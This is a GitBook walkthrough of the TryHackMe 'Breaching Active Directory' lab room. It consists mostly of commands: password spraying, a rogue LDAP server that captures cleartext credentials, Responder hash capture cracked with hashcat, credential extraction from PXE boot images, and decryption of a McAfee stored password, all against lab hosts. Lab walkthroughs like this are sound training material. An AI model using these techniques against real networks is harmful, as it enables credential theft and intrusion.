> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/breaching-active-directory.md).

# Breaching Active Directory

**Room Link:** <https://tryhackme.com/room/breachingad>

## Introduction to AD Breaches

**Kali**

```
systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com
nslookup thmdc.za.tryhackme.com
```

## NTLM Authenticated Services

**Kali**

```
unzip passwordsprayer.zip 
python /root/Rooms/BreachingAD/task3/ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a "http://ntlmauth.za.tryhackme.com"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FekNqj9Sye1hfIjhu325a%2Fimage.png?alt=media&amp;token=f7a67510-5343-4bf4-bb06-d23501495d7a" alt=""><figcaption></figcaption></figure>

## LDAP Bind Credentials

**Kali**

```
service slapd stop
nc -lvp 389
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FoeRh0FfLFS0Pgq2GXvwu%2Fimage.png?alt=media&amp;token=3ffb0229-3a92-462e-ad0b-fe3f2ac243b4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdlnM4wTkqad9PegZm5dy%2Fimage.png?alt=media&amp;token=42e8a5c7-e0b1-4982-a627-ce6cb6a26943" alt=""><figcaption></figcaption></figure>

### Hosting a Rogue LDAP Server

**Kali**

```
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
sudo dpkg-reconfigure -p low slapd
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgHfPodJ2w5zra2S565P4%2Fimage.png?alt=media&amp;token=d221fddf-a51a-4abb-a9ed-ff615e7acd93" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnMiChXnSiKYBQPoyRvKo%2Fimage.png?alt=media&amp;token=40f3fb48-0f04-4f80-85d3-004dd92dd6db" alt=""><figcaption></figcaption></figure>

**Kali**

```
vi olcSaslSecProps.ldif
```

**olcSaslSecProps.ldif**

```
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
```

The file has the following properties:

* olcSaslSecProps: Specifies the SASL security properties
* noanonymous: Disables mechanisms that support anonymous login
* minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.

Now we can use the ldif file to patch our LDAP server using the following:

**Kali**

```
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
```

**Before**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fyl5MW1Wr2jkhgliWKTP5%2Fimage.png?alt=media&amp;token=ec732e12-9faa-4a11-9446-fa070d47f846" alt=""><figcaption></figcaption></figure>

**After**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F94Nk7Cp95hbXrrjDV90e%2Fimage.png?alt=media&amp;token=89e2c556-a841-4d6b-9792-a652f104eb1b" alt=""><figcaption></figcaption></figure>

### Capturing LDAP Credentials

Our rogue LDAP server has now been configured. When we click the "Test Settings" at <http://printer.za.tryhackme.com/settings.aspx>, the authentication will occur in clear text. If you configured your rogue LDAP server correctly and it is downgrading the communication, you will receive the following error: "This distinguished name contains invalid syntax". If you receive this error, you can use a tcpdump to capture the credentials using the following command:

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYOC74RIndb5GT2gG3MgI%2Fimage.png?alt=media&amp;token=bcb3f877-5021-4ed5-bf98-a7ab91eefee0" alt=""><figcaption></figcaption></figure>

**Kali**

```
sudo tcpdump -SX -i breachad tcp port 389
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5gKACuQHGHiZDEDByFSw%2Fimage.png?alt=media&amp;token=c82ec97a-b3ee-4d25-8eeb-1b2bdabc0a77" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQOENguHYkhUSQ290yMlN%2Fimage.png?alt=media&amp;token=78310625-8c6d-495c-83ab-f4069cceb241" alt=""><figcaption></figcaption></figure>

## Authentication Relays

**Kali**

```
sudo service slapd stop
sudo responder -I breachad
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUjBF5QPZL8iwaUeDw2cC%2Fimage.png?alt=media&amp;token=0132191f-dd15-4cba-92ae-a26953621a57" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFjbouG7pIigTyhlMSp4S%2Fimage.png?alt=media&amp;token=adaa6d16-6b42-4486-817a-734fce66deb2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCcjUlM73FX7G9x9wtjbo%2Fimage.png?alt=media&amp;token=663cb8a8-5eac-4e18-86a2-caa76771512f" alt=""><figcaption></figcaption></figure>

**Kali**

```
hashcat -m 5600 hash.txt passwordlist.txt --force 
hashcat -m 5600 hash.txt passwordlist.txt --force --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FIuXGu8VHlPeNDaG23jmB%2Fimage.png?alt=media&amp;token=208607e3-16e1-4390-92dd-122597ebf371" alt=""><figcaption></figcaption></figure>

## Microsoft Deployment Toolkit

**Kali**

```
ssh thm@THMJMP1.za.tryhackme.com
Password: Password1@
```

**Victim**

```
cd Documents
mkdir thm
copy C:\powerpxe thm
cd thm
```

**Victim**

```
tftp -i $THMMDTIP GET "\Tmp\x64{39...28}.bcd" conf.bcd
```

**Victim**

```
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
```

**Victim**

```
tftp -i $THMMDTIP  GET "<PXE Boot Image Location>" pxeboot.wim
```

**Victim**

```
Get-FindCredentials -WimFile pxeboot.wim
```

## Configuration Files

**Victim**

```
cd C:\ProgramData\McAfee\Agent\DB
```

**Victim**

```
scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
Password: Password1@
```

**Kali**

```
sqlitebrowser ma.db
```

**Kali**

```
cp /root/Rooms/BreachingAD/task7/mcafeesitelistpwddecryption.zip .
unzip mcafeesitelistpwddecryption.zip
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fw05R4EEOkQxF7VLXNpbA%2Fimage.png?alt=media&amp;token=94326451-2a09-4716-bdee-7bb8ef11087d" alt=""><figcaption></figcaption></figure>

**Kali**

```
python2 mcafee-sitelist-pwd-decryption-master/mcafee_sitelist_pwd_decrypt.py  jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FK6ug1IRlJ5WqWp58Pvb1%2Fimage.png?alt=media&amp;token=d118d5c9-0525-46b8-8002-9a6568d38f4b" alt=""><figcaption></figcaption></figure>

a
